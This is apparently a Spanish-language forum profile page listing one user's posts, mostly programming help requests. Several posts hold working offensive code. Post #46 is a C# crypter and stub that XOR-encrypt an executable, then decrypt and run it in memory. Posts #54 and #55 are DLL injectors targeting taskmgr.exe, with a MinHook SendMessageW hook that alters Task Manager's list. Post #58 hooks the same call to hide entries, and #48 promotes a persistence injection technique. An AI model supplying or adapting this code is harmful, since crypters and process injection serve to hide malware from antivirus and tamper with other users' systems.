Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Borito30

#46
Hola estoy modificando un facilito crypter en c# obviamente todos sabemos que c# para crypters no es lo suyo pero haciendolo el codigo es:
Código (csharp) [Seleccionar]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using System.IO;

namespace Crypter
{
   class Program
   {
[STAThread]
       static void Main(string[] args)
       {
           //No Arguments -> Exit
           if (args.Length < 2)
           {
               Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
               Environment.Exit(0);
           }

           String file = args[0];
           String pass = args[1];
           String outFile = "Crypted.exe";

           //If Output Name is specified -> Set it
           if (args.Length == 3)
           {
               outFile = args[2];
           }

           //File doesn't exist -> Exit
           if (!File.Exists(file))
           {
               Console.WriteLine("[!] The selected File doesn't exist!");
               Environment.Exit(0);
           }

           //Everything seems fine -> Reading bytes
           Console.WriteLine("[*] Reading Data...");
           byte[] plainBytes = File.ReadAllBytes(file);

           //Yep, got bytes -> Encoding
           Console.WriteLine("[*] Encoding Data...");
           byte[] encodedBytes = encodeBytes(plainBytes, pass);

           Console.Write("[*] Save to Output File... ");
           File.WriteAllBytes(outFile, encodedBytes);
           Console.WriteLine("Done!");

           Console.WriteLine("\n[*] File successfully encoded!");
       }
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}

return bytes;
}
}
}


El stub:
Código (csharp) [Seleccionar]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.IO;
using System.Text;
using System.Reflection;
using System.Diagnostics;

namespace Stub
{
   static class Program
   {
       /// <summary>
       /// MAIN
       /// </summary>
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           //Application.Run(new Form1());

           //Set Payload File and Password HERE
           RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
       }

       private static void RunInternalExe(string exeName, String pass)
       {
           //Verify the Payload exists
           if (!File.Exists(exeName))
               return;

           //Read the raw bytes of the file
           byte[] resourcesBuffer = File.ReadAllBytes(exeName);

           //Decrypt bytes from payload
           byte[] decryptedBuffer = null;
           decryptedBuffer = decryptBytes(resourcesBuffer, pass);

           //If .NET executable -> Run
           if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
           {
               //Load the bytes as an assembly
               Assembly exeAssembly = Assembly.Load(decryptedBuffer);

               //Execute the assembly
               object[] parameters = new object[1];                //Don't know why but fixes TargetParameterCountException
               exeAssembly.EntryPoint.Invoke(null, parameters);
           }
       }

       /// <summary>
       /// Decrypt the Loaded Assembly Bytes
       /// </summary>
       /// <param name="payload"></param>
       /// <returns>Decrypted Bytes</returns>
       private static byte[] decryptBytes(byte[] bytes, String pass)
       {
           byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

           for (int i = 0; i < bytes.Length; i++)
           {
               bytes[i] ^= XorBytes[i % XorBytes.Length];
           }

           return bytes;
       }
   }
}

Pero cuando pongo abro el stub se me cierra y no me abre mi fichero y lo encripte correctamente y todo que estoy haciendo mal?
#47
Hola he creado un pequeño grupo en telegram para poner en practica más la programación y poder hacer aportes más a menudo al foro.
El grupo es:
https://t.me/joinchat/AAAAAAuGJ94-9LBIJM3lPQ
Sino es buena idea o el post incumple algo me lo decis para la proxima tener mas cuidado. Es solamente para aquellos que empiezan puedan aprender lo básico y hacer aportes.
#48
Este técnica permite al atacante inyectar cualquier dll a cualquier proceso.. la inyeccion ocurre durante el arranque del sistema de la victima, dando al atacante poder para controlar los procesos y no hay manera de protegerse del mismo.
Esta técnica puede persistir incluso despues del reinicio.

Para mas info:
https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/
#49
Hola hago esto:
Código (csharp) [Seleccionar]
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApplication7
{
   class Program
   {
       private static readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646);
       [DllImport("advapi32")]
       public static extern int RegRenameKey(SafeRegistryHandle hKey, [MarshalAs(UnmanagedType.LPWStr)] string oldname,
       [MarshalAs(UnmanagedType.LPWStr)] string newname);
       static void Main(string[] args)
       {
           
           SafeRegistryHandle hKey = null;
           hKey = new SafeRegistryHandle(HKEY_LOCAL_MACHINE,true);
           RegRenameKey(hKey, "\\SOFTWARE\\Company", "\\SOFTWARE\\Compa");
           Console.ReadLine();
           
       }
   }
}


Pero no lo renombra no se porque.
#50
Se puede renombrar una clave de registro? No digo crear o borrar sino cambiarla de nombre? Tiene que ser en algun lenguaje de programacion.
#51
Estaba intentando convertir una consola a formulario. Para ello lo hice añadiendo una configuración equivocada ya que eso era para Qt.
La manera correcta de convertir una consola a un formulario y luego pasar los argumentos de linea de comandos a la aplicación es usando GetCommandLine
#52
Como puedo mostrar que versión utilizo en un programa intente esto:
#if_WIN64
isWow64=true;

#elif_WIN32
isWow64=false;

if(isWow64==true){
windows="Windows64bits";
}else{
windows="Windows32bits";
}

Sería correcto o debería hacer alguna otra cosa.
#53
Se que son  bibliotecas de enlace dinámico que implementa la biblioteca de windows pero mi pregunta es cuando uno esta usando la librería kernel32 o user32 cuando uno es administrador usa kernel32 o cuando uno usa user32 esta en modo usuario¿? Soy un total ingnorante al respecto por lo que cualquier explicacion me vendría bastante bien. Gracias.
#54
Hola en este tutorial os enseñare a como poner tus procesos en PWNED con la siguiente apariencia:


El inyector:
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <wchar.h>
#include <iostream>
using namespace std;

void error(char *err);

HANDLE myProc = NULL;

void error(char *err)
{
if (myProc != NULL) CloseHandle(myProc);
printf("%s", err);
exit(0);
}

HANDLE Startpausedprocess( char* cmd, PHANDLE ptr_thread ) // cleaned up a bit, but no RAII
{
    if( ptr_thread == nullptr ) return nullptr ;

    PROCESS_INFORMATION pi;
    STARTUPINFOA si {} ; // initialize with zeroes.
    si.cb = sizeof(STARTUPINFOA);

    if( !CreateProcessA( nullptr, cmd, nullptr, nullptr, false, CREATE_SUSPENDED,
                         nullptr, nullptr, std::addressof(si), std::addressof(pi) ) )
    {
        std::cerr << "CreateProcess failed, " << GetLastError() << '\n' ;
        *ptr_thread = nullptr ;
        return nullptr;
    }

    *ptr_thread = pi.hThread;
    return pi.hProcess;
}


int main(int argc, char *argv[])
{
char cmd[] = "taskmgr.exe" ; // note: non-const (writeable array)
    HANDLE thread = nullptr ;
    auto myProc=Startpausedprocess( cmd, std::addressof(thread) ) ;
if(myProc)
    {
        std::cout << "press enter to resume process... " && std::cin.get() ;
        ResumeThread(thread) ;

        //CloseHandle(thread) ;
        //CloseHandle(myProc) ;
    }

// Reservar memoria para el argumento (ruta de la DLL)
char thData[] = "dllmain.dll";
LPVOID dirToArg = VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (dirToArg == NULL)
error("[-] Error reservando memoria para argumento.\n");
else
printf("[+] Memoria reservada para argumento (%i bytes).\n", strlen(thData));


// Escribir la ruta de la DLL en la memoria reservada
SIZE_T written = 0;
if (WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written) == 0)
error("[-] Error escribiendo memoria.\n");
else
printf("[+] Memoria escrita (arg %i bytes).\n", written);
//Lanzar un hilo con LoadLibrary
//Load the DLL
//Load the DLL
HANDLE rThread = CreateRemoteThread(myProc, NULL, NULL, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary(L"Kernel32.dll"), "LoadLibraryA"), dirToArg, NULL, NULL);
if (rThread == NULL)
error("[-] Error creando el hilo.\n");
else
printf("[+] Hilo creado.\n");
CloseHandle(rThread);
}


El código, simplemente compilas en gcc y inyectais.
#include "stdafx.h"
#include "cabecera minhook"//MHook header
#include <iostream>
#include <windows.h>
#include <Commctrl.h>
#include <conio.h>

using namespace std;

typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction

static wchar_t pwned[]=L"PWNED";

LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
   if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
   {
       ((LVITEMW*)lparam)->pszText=pwned;//Replace the item text with our text.
   }
   return SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
}

static bool Hook();

template <typename T>
inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
{
   return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
}


extern "C" __declspec (dllexport) void __cdecl SendWrite()
{

}

BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved)
{
//Different behaviors depending on the reason why DllMain is called
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
if (!Hook())//Hook "Writefoobar"
{
cout << "Hook failed" << endl;
return 1;
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

return TRUE;
}

bool Hook()
{
   if (MH_Initialize() != MH_OK)
   {
       return false;
   }

   if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
   {
       return FALSE;
   }
   return MH_EnableHook((void*)&SendMessageW) == MH_OK;
}


Funcionara como filtro y cambiara la apariencia de vuestro administrador de tareas.
#55
Este es el injector:
Código (cpp) [Seleccionar]
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <wchar.h>
#include <iostream>
using namespace std;

void error(char *err);

HANDLE myProc = NULL;

void error(char *err)
{
if (myProc != NULL) CloseHandle(myProc);
printf("%s", err);
exit(0);
}

int main(int argc, char *argv[])
{
HANDLE processList = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pInfo;
BOOL st = TRUE;
pInfo.dwSize = sizeof(PROCESSENTRY32);
Process32First(processList, &pInfo);
int myPid = 0;
do
{
std::wstring name(L"taskmgr.exe");
const wchar_t* szName = name.c_str();
if (wcscmp(pInfo.szExeFile, szName) == 0)
{
myPid = pInfo.th32ProcessID;
cout << myPid << endl;
break;
}
Process32Next(processList, &pInfo);
} while (st != FALSE);

// Abrir el proceso
printf("[+] Opening process %i\n", myPid);
myProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
if (myProc == NULL) error("[-] Error abriendo proceso.\n");
else printf("[+] Proceso abierto.\n");

// Reservar memoria para el argumento (ruta de la DLL)
char thData[] = "dllmain.dll";
LPVOID dirToArg = VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (dirToArg == NULL)
error("[-] Error reservando memoria para argumento.\n");
else
printf("[+] Memoria reservada para argumento (%i bytes).\n", strlen(thData));


// Escribir la ruta de la DLL en la memoria reservada
SIZE_T written = 0;
if (WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written) == 0)
error("[-] Error escribiendo memoria.\n");
else
printf("[+] Memoria escrita (arg %i bytes).\n", written);
//Lanzar un hilo con LoadLibrary
//Load the DLL
//Load the DLL
HANDLE rThread = CreateRemoteThread(myProc, NULL, NULL, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary(L"Kernel32.dll"), "LoadLibraryA"), dirToArg, NULL, NULL);
if (rThread == NULL)
error("[-] Error creando el hilo.\n");
else
printf("[+] Hilo creado.\n");
CloseHandle(rThread);

}


Este es la .dll:
Código (cpp) [Seleccionar]
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h"//MHook header
#include <iostream>
#include <windows.h>
#include <Commctrl.h>
#include <conio.h>

using namespace std;

typedef void (*SENDMESSAGEW)();//Typedef for the hooked function
static SENDMESSAGEW Basewritefoobar;//Backup of the originak fonction

static const wchar_t *pwned=L"PWNED";//PWNED
LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
   if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
   {
       ((LVITEMW*)lparam)->pszText=pwned;//Replace the item text with our text.
   }
   return baseSendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
}
static bool Hook();

template <typename T>
inline MH_STATUS MH_CreateHookEx(void* target, void* const base, T** original)
{
   return MH_CreateHook(target, base, reinterpret_cast<void**>(original));
}


extern "C" __declspec (dllexport) void __cdecl SendWrite()
{

}

BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved)
{
//Different behaviors depending on the reason why DllMain is called
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
if (!Hook())//Hook "Writefoobar"
{
cout << "Hook failed" << endl;
return 1;
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

return TRUE;
}

bool Hook()
{
   if (MH_Initialize() != MH_OK)
   {
       return false;
   }

   if (MH_CreateHookEx((void*)&SendMessageW, (void*)&BSSSendMessageW, &Basewritefoobar) != MH_OK)
   {
       return FALSE;
   }
   return MH_EnableHook((void*)&SendMessageW) == MH_OK;
}


Cuando lo hago me muestra un hola mundo el cual ni lo incluí en mi codigo:


Que no deberia..
#56
Hola hay alguna manera de grabar la sesion de un meeting en teamviewer sin necesidad de tener que grabarlo ocupando la pantalla es decir una vez que abra la sesion se graba y . y al mismo tiempo uno puede estar haciendo otras cosas?
#57
Hola estoy haciendo un pequeño programa que me iniciara mi proceso de forma pausada el siguiente código obtengo el pid y se lo paso a mi funcion:
Código (cpp) [Seleccionar]
int main(int argc, char *argv[])
{
HANDLE processList = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pInfo;
BOOL st = TRUE;
pInfo.dwSize = sizeof(PROCESSENTRY32);
Process32First(processList, &pInfo);
int myPid = 0;
do
{
std::wstring name(L"miproceso.exe");
const wchar_t* szName = name.c_str();
if (wcscmp(pInfo.szExeFile, szName) == 0)
{
myPid = pInfo.th32ProcessID;
cout << myPid << endl;
break;
}
Process32Next(processList, &pInfo);
} while (st != FALSE);

char chaine[10];
sprintf(chaine,"%d",myPid);
Startpausedprocess(chaine,processList);
}

La funcion:
Código (cpp) [Seleccionar]
HANDLE Startpausedprocess(char *cmd, PHANDLE hthread)//Not const char* because CreateProcess may write on it
{
   PROCESS_INFORMATION pi;
   STARTUPINFOA si;//STARTUPINFOA is the ANSI version of STARTUPINFO.
   ZeroMemory(&si, sizeof(STARTUPINFOA));
   si.cb = sizeof(STARTUPINFOA);

   if (!CreateProcessA(NULL, cmd, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi))//The flag "CREATE_SUSPENDED" will create the process and pause the main thread.
   {
       cout << "CreateProcess failed, " << GetLastError() << endl;
       return NULL;
   }
   *hthread = pi.hThread;
   return pi.hProcess;
}


Sigo teniendo problemas al resolver errores de argumentos. Los errores son los siguientes:
Citar
Build FAILED.

"C:\Users\Androide\Desktop\colo\injector\injector\injector.vcxproj" (default ta
rget) (1) ->
(ClCompile target) ->
 c:\users\androide\desktop\colo\injector\injector\injector.cpp(64): error C266
4: 'HANDLE Startpausedprocess(char *,PHANDLE)': cannot convert argument 2 from
'HANDLE' to 'PHANDLE' [C:\Users\Androide\Desktop\colo\injector\injector\injecto
r.vcxproj]
 c:\users\androide\desktop\colo\injector\injector\injector.cpp(63): error C499
6: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s
instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help
for details. [C:\Users\Androide\Desktop\colo\injector\injector\injector.vcxproj
]

   0 Warning(s)
   2 Error(s)

:P No me hace la conversión char * correctamente alguna idea como convertir mi entero a char *? Y luego PHandle que diferencia tiene con Handle?
#58
Hola como podría llamar a la siguiente funcion desde el int main usando windows api.
Funcion:
static const wchar_t *lol=L"";

LRESULT WINAPI BSSSendMessageW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
   if ( msg == LVM_INSERTITEMW || msg == LVM_SETITEMW)//Intercepts LVM_INSERTITEM and LVM_SETITEM messages
   {
       if (!lstrcmpW(((LVITEMW*)lparam)->pszText, lol))//The lparam is a LVITEM* struct.
       {
           return 0;//we simply return 0 (and we do not call the real SendMessage function.
       }
       return 0;
   }
   return base.SendMessage(hwnd, msg, wparam, lparam);//Calls the real SendMessage function.
}


Int main:
int main()
{
//calling api function
}


Como podría a la función de windows api desde el main.
#59
Hola estoy verificando un pequeño programa para obtener la ip actualizada de mi dns lo que hago es lo siguiente:
Código (python) [Seleccionar]
#!/usr/bin/python
import requests
import json
user = "email"
password = "pass"
checkip = "http://thisisnt.com/api/getRemoteIp.php"
dynupdate = "https://members.dyndns.com/nic/update"
print "starting. Get current IP..."
ipraw = requests.get(checkip)
if ipraw.status_code is not 200:
 raise "Cannot get IP address"
 exit

ip = ipraw.json()['REMOTE_ADDR']
print "Remote IP: " + ip
print "updating..."
# update dyndns
headers = {'user-agent': 'mPythonClient/0.0.3'}
dyn = requests.get(dynupdate, \
             headers=headers, \
             auth=(user, password), \
             params={'hostname': 'mydyndns', \
                      'myip': ip, \
                      'wildcard': 'NOCHG', \
                      'mx': 'MX', \
                      })
if dyn.status_code is not 200:
 print "Update failed. HTTP Code: " + str(dyn.status_code)
if "good" in dyn.text:
 print "update successful.."
else:
 print "Update unsuccessful: " + dyn.text.strip()


El resultado que obtengo siempre es
Update unsuccessful:

Es decir dyn.text la peticion no la hace bien por lo que tenga hacer la peticion de otra manera. Alguien sabría como podría obtener mi ip con my dyndns usando python?
#60
Estoy intentando compilar ejemplos de esta libreria:
https://www.codeproject.com/KB/winsdk/LibMinHook/MinHook_133_src.zip

El tio compila ejemplos de todos pero cuando yo lo intento me devuelve:
C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h:141:
22: note:   candidate expects 5 arguments, 4 provided
DynamicLinkSample.cpp:12:18: note: template<class T> MH_STATUS MH_CreateHookApiE
x(LPCWSTR, LPCSTR, LPVOID, T**)
inline MH_STATUS MH_CreateHookApiEx(LPCWSTR pszModule, LPCSTR pszProcName, LPVO
ID pDetour, T** ppOriginal)
                 ^
DynamicLinkSample.cpp:12:18: note:   template argument deduction/substitution fa
iled:
DynamicLinkSample.cpp:37:88: note:   cannot convert 'DetourMessageBoxW' (type 'i
nt (__attribute__((__stdcall__)) *)(HWND, LPCWSTR, LPCWSTR, UINT) {aka int (__at
tribute__((__stdcall__)) *)(HWND__*, const wchar_t*, const wchar_t*, unsigned in
t)}') to type 'LPVOID {aka void*}'
    if (MH_CreateHookApiEx(L"user32", "MessageBoxW", &DetourMessageBoxW, &fpMes
sageBoxW) != MH_OK)

       ^
DynamicLinkSample.cpp:43:35: error: invalid conversion from 'int (__attribute__(
(__stdcall__)) *)(HWND, LPCWSTR, LPCWSTR, UINT) {aka int (__attribute__((__stdca
ll__)) *)(HWND__*, const wchar_t*, const wchar_t*, unsigned int)}' to 'LPVOID {a
ka void*}' [-fpermissive]
    if (MH_EnableHook(&MessageBoxW) != MH_OK)
                                  ^
In file included from DynamicLinkSample.cpp:2:0:
C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h:154:
22: note: initializing argument 1 of 'MH_STATUS MH_EnableHook(LPVOID)'
    MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
                     ^
DynamicLinkSample.cpp:52:36: error: invalid conversion from 'int (__attribute__(
(__stdcall__)) *)(HWND, LPCWSTR, LPCWSTR, UINT) {aka int (__attribute__((__stdca
ll__)) *)(HWND__*, const wchar_t*, const wchar_t*, unsigned int)}' to 'LPVOID {a
ka void*}' [-fpermissive]
    if (MH_DisableHook(&MessageBoxW) != MH_OK)
                                   ^
In file included from DynamicLinkSample.cpp:2:0:
C:\Users\Androide\Desktop\minhook\Dynamic\MinHook_133_src\include\MinHook.h:161:
22: note: initializing argument 1 of 'MH_STATUS MH_DisableHook(LPVOID)'
    MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
                     ^


Supongo algo estare haciendo mal. En este caso estoy intentando desde consola con g++, que el compilador sería mingw.
#61
Hola tengo una duda donde podría colocar los .lib en visual studio capturas:


#62
Bueno muchas veces cuando empezamos a programar usamos un ide y pensamos que es el mismo programa pero detrás de cada ide se encuentra un compilador que basicamente es un programa informático que traduce un programa escrito en un lenguaje de programación a otro lenguaje diferente. Este proceso de traducción se conoce como compilación.

Aqui teneis una lista de compiladores para la mayoría de lenguajes de programación:

Ada
*Aonix ObjectAda for Windows : Aonix offers the windows version of their compiler as a free download (Win).
*AVL Ada9X 1.91 : Ada95 environment, featuring editor, interpreter, manual (DOS).
*ez2load : Free DOS Ada 95 compiler based on GNAT (DOS).


Assembly
*Alab 1.3 b1 : Alab stands for Assembly Laboratory, an assembly / watcom C IDE. Be careful though, it requires a third-party Assembler (such as TurboAsm - not included) (DOS).
*Arrowsoft Assembler 1.0D : Equivalent to MASM 3.0 (DOS).
DR Assembler Tools (RASM) v1.3 : Digital Research's assembler tools (DOS). (70.1kb)
*Flat Assembler (FASM) 1.42 : Fast, efficient self-assembling x86 assembler (DOS/Win/Linux).
Microsoft Macro Assembler (MASM) 5.10 : This is a pretty advanced version of a good assembler (DOS). (628kb)
*Netwide Assembler (NASM) 0.98 : A general-purpose open source x86 assembler. Includes disassembler (DOS/Win/Linux).
*NewBasic Assembler (NBASM) : Freeware, near MASM 5.1x compatible, visual IDE (DOS).
*Pass32 v2 : Free x86 Assembler for PMode Applications (DOS/Win).
Turbo Assembler (TASM) V2.0 : The most popular assembler by Borland. This version is rather old though (DOS). (478kb)
*Win 32 + Assembler : GoAsm, GoLink etc. Assembler tools for the 32 bit Win programmer (Win).


Basic
*ASIC 5.00 : A free BASICA/QBASIC compiler.
*MicroBasic 3.2 : Small compiler that produces COM + EXE files (DOS).
MS Quick Basic 4.5 : My favorite BASIC compiler. Very friendly environment (DOS). (895kb)
MS Visual Basic 3.0 : Be careful, the help files are not included (Win 3.x). (470kb)
*Phenix Object Basic : Object oriented basic for Linux (Linux).
*Rapid-Q : Cross-platform basic (Win/Linux...).
*ScriptBasic V1.0 : Create portable applications or even web application in Basic (Win/Linux).
*UBasic86 (32bit) v8.8c : High precision math-oriented BASIC interpreter (DOS).
*XBasic : 32/64bit BASIC interactive program development environment (Win/Linux).
*Yabasic 2.716 : Yet Another BASIC that implements the most common and simple elemets of the language (Win/Linux).


C / C++
// LOS MÁS IMPORTANTES EN C++//
*MinGW. Es un compilador similar al de GNU (GCC - GNU Compiler Collection) pero para windows.
*Visual Studio. Proviene de la familia Visual C++, es otro de los más utilizados por windows lanzado por microsoft.
*Cygwin. Es un entorno de desarrollo parecido a Unix y una interfaz en modo comando para Microsoft Windows.
/////////////////////////////////////////
*Borland Turbo: A solid C compiler. Register at the Borland site and download it for free (DOS).
*Digital Mars C/C++ Compliler v8.31 : Complete C / C++ compiler package (Win).
*DJGPP : Complete 32-bit C/C++ development system (DOS/Win)
*LadSoft cc386 2.06 : 32 bit ANSI C compiler with limited C++ support (DOS/Win).
*lcc 4.2 : A retargetable ANSI C compiler for most platforms (Win/Linux...).
*Pacific C Compiler : Freeware C Compiler (DOS).
*Sphinx C-- final : Sphinx C-- is a combination of C and 80x86 assembly language (DOS).
*Watcom C/C++ v11.0c : Complete multi-platform development environment (DOS/Win/OS2)


Cobol
*DOS COBOL v0.001alpha or Win32 ver : Small COBOL interpreter (DOS/Win).
MS COBOL V2.2 : Cobol is an old business oriented language that used to be extremely popular. Today it is only used by very few veteran programmers (DOS). (744kb)


D
*Digital Mars D Compliler : D was created as a C / C++ successor. It is still in Alpha stage of development (Win).

Eiffel
*iss-base 4 : Freeware version of a commercial compiler for the object-oriented Eiffel language (Win/Linux).
*SmartEiffel : Fast, small and open source Eiffel compiler. Outputs to C / Java (Win/any ANSI C environment).


Forth
*Pygmy Forth 1.5 : Fast direct-threaded Forth (DOS).

Fortran
BC Fortran 77 v1.3b : Compiler, linker, module library and resident run-time w/debugger (DOS). (181kb)
*F Compiler : You download via ftp compiler versions for many operating systems (Win/...)
Lahey Fortran 77 v3.0 : The Lahey is a well known F77 compiler, although this is an early version (DOS). (382kb)
Microsoft FORTRAN 5.1 : A good and well known compiler (DOS). (1.74MB)
*Watcom FORTRAN v11.0c : FORTRAN 77 development environment (DOS/Win/OS2)


Lisp / Scheme
Apteryx Lisp v1.031 : A windows 3.x Lisp compiler (Win 3.x). (212kb)
*newLISP 7.0.1 : newLISP is a compiler that has features of Common LISP and Scheme. It is still being developed (Win/Linux/Mac...).
*PC-Lisp v3.00 : Lisp stands for LISt Programming. It is considered suitable for AI. This compiler is not Object-Oriented like other compilers (XLisp etc) and is a subset of Franz Lisp (DOS).
*XLisp Plus v3.04 : This version supports most Common Lisp functions (DOS/Win).
XScheme v0.17 : An object-oriented implementation of the Scheme programming language, that lacks a good editor. Scheme is similar to, but simpler than Common Lisp (DOS). (163kb)
*Youtoo 0.93 : Yootoo is the latest EuLisp interpreter. EuLisp resembles to Lisp and it supports objects and parallel programming. Download from the ftp (Linux).
Logo
*DFP LOGO 1.2 : LOGO is a computer language designed to introduce young children to programming (DOS).
*LSRHS Free LOGO : Another LOGO interpreter (DOS).


Modula-2 / Modula-3
*Fitted Software Tools Modula-2 v3.1 : Modula-2 was designed by the creator of Pascal based on the experience and requests of PASCAL programmers (DOS).
*M3forDOS 3.1 : A DOS port for SRC Modula 3 (DOS).
*M3pc-Klangenfurt : Another DOS port for SRC Modula 3 (DOS).


Pascal
*Free Pascal V1.0.6 : A good (and free) Pascal compiler (DOS/Win/Linux...).
*Pascal Pro V0.1 : Requires TASM/MASM or NASM,TLINK32 and WDOSX or similar to produce executables (DOS).
*TMT Pascal Lite 3.90 : Fast 32 bit compiler. The DOS version is free to download. (DOS).
Turbo PASCAL 5.5 : A basic Pascal compiler (DOS).
*Virtual Pascal V2.1 : 32bit Pascal development environment (Win/OS2).


Perl
*ActivePerl 5.8 : Excellent Perl compiler. And you can't beat the price, since it is free (Win-Linux-Solaris).
Perl 4.0 : PERL - Practical Extraction Report Language - a very important and powerful script programming language (DOS). (175kb)


Prolog
BinProlog v2.20 : Prolog is a higher level language that leaves more to the compiler and simplifies the design of complex programs. This is an old but fast C-emulated compiler (DOS). (119kb)
Prolog-2 v2.35 : An MS-DOS version of prolog by Expert Systems (DOS). (149kb)
*Strawberry Prolog 2.3 : This is an excellent (and easy to use) Windows Prolog compiler. Unfortunatelly, the free (Light) Edition does not create .EXE files (Win 9x).
*Visual Prolog 6 : A complete PROLOG environment (Win).


Python
*Es un lenguaje interpretado luego utilizará un intérprete para implementar o ejecutar el código.

REXX
*BREXX 1.3 : REXX is a procedural language that allows programs and algorithms to be written in a clear and structured way (DOS/Linux). (267kb)
*Regina REXX : Regina REXX port for Win32 (Win).


Smalltalk
*Little Smalltalk v3 : Little Smalltalk is a subset of the Smalltalk object-oriented language (DOS).

Tcl
*ActiveTcl 8.4.1 : I don't know anything about Tcl, but judging from ActiveState's other products, the compiler should be very good (Win-Linux-Solaris).

xBase
*Harbour : Free xBase compiler (DOS/Win/Linux/OS2...).
*MAX 2.0 : Free xBase compiler (Win/Linux).


AutoIT
AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting.

Fuente:
Citarlista-de-compiladores-gratuitos-(cientos-de-ellos), creador Ariel.
#63
Estoy usando openssl en el proyecto y openssl funciona y se añade correctamente, las librerias las tengo incluidas aqui:


Pero cuando voy a compilar mi proyecto me devuelve el siguiente error:
||=== Build: Debug in main (compiler: GNU GCC Compiler) ===|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `FreeCredentialsHandle@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `DeleteSecurityContext@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `FreeCredentialsHandle@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `DeleteSecurityContext@4'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `AcquireCredentialsHandleW@36'|
C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `InitializeSecurityContextA@48'|
||error: ld returned 1 exit status|
||=== Build failed: 7 error(s), 0 warning(s) (0 minute(s), 1 second(s)) ===|


Pienso a lo mejor se deba a que tengo que agregar otras librerías diferentes de openssl? El programa es el siguiente:
#include <client.h>
#include <messagehandler.h>
#include <message.h>
#include <presencehandler.h>
#include <connectionlistener.h>
#include <ctime>
#include <iostream>
#include <string>
using namespace std;
using namespace gloox;
//my one
const string LOGIN = "gmail.com";
ostream& operator<<(ostream& os, Message::MessageType type) {
   switch (type) {
       case Message::Chat:
           os << "Chat";
           break;
